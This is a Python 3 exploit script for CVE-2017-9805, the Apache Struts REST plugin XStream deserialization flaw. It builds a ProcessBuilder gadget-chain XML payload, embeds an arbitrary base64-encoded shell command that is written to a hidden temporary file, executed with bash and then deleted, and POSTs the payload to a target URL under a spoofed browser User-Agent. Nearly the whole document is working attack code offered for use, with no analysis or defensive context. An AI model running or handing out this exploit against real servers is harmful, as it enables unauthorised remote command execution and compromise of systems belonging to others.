#python3兼容脚本,cve-2017-9805.py #!/usr/bin/env python3 import requests import argparse import base64 import sys import random import re from xml.dom.minidom import parseString
random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm1234567890") for _ in range(num))
# iterates over the elements in the template XML object and replaces with desired commands def get_item_list(itemlist, encoded_command, the_match): for item in itemlist: for item2 in item.childNodes: if item2.nodeValue == the_match: item2.nodeValue = encoded_command
def main(url, command): filename = "." + random_string(20) + '.tmp' print('[+] Encoding Command') # Python 3 base64 logic: encode string to bytes, then b64encode, then back to string b64_command = base64.b64encode(command.encode('utf-8')).decode('utf-8') # Construct the shell command that will be placed inside XML # Using tee -a to write the decoded command to a file, then execute it encoded_command = f'echo {b64_command} | base64 -d | tee -a /tmp/{filename} ; /bin/bash /tmp/{filename} ; /bin/rm /tmp/{filename}' print('[+] Building XML object') # The XML payload (ImageIO exploit chain) payload_xml = ( '<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags>' '<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">' '<dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">' '<is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher">' '<initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator">' '<iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/>' '<next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string>' '<string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter>' '<filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class>' '<name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next>' '</serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/>' '<ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is>' '<consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value>' '</jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>' '</entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>' '<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>' ) xml_exploit = parseString(payload_xml) header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36', 'Content-Type': 'application/xml' } itemlist = xml_exploit.getElementsByTagName('string') print('[+] Placing command in XML object') get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE") print('[+] Converting Back to String') # Convert back to bytes for the request exploit_data = xml_exploit.toxml(encoding='utf-8') print('[+] Making Post Request with our payload') try: response = requests.post(url, data=exploit_data, headers=header, timeout=15) print(f'[+] Server returned status code: {response.status_code}') print('[+] Payload sent.') except Exception as e: print(f'[-] Error: {e}')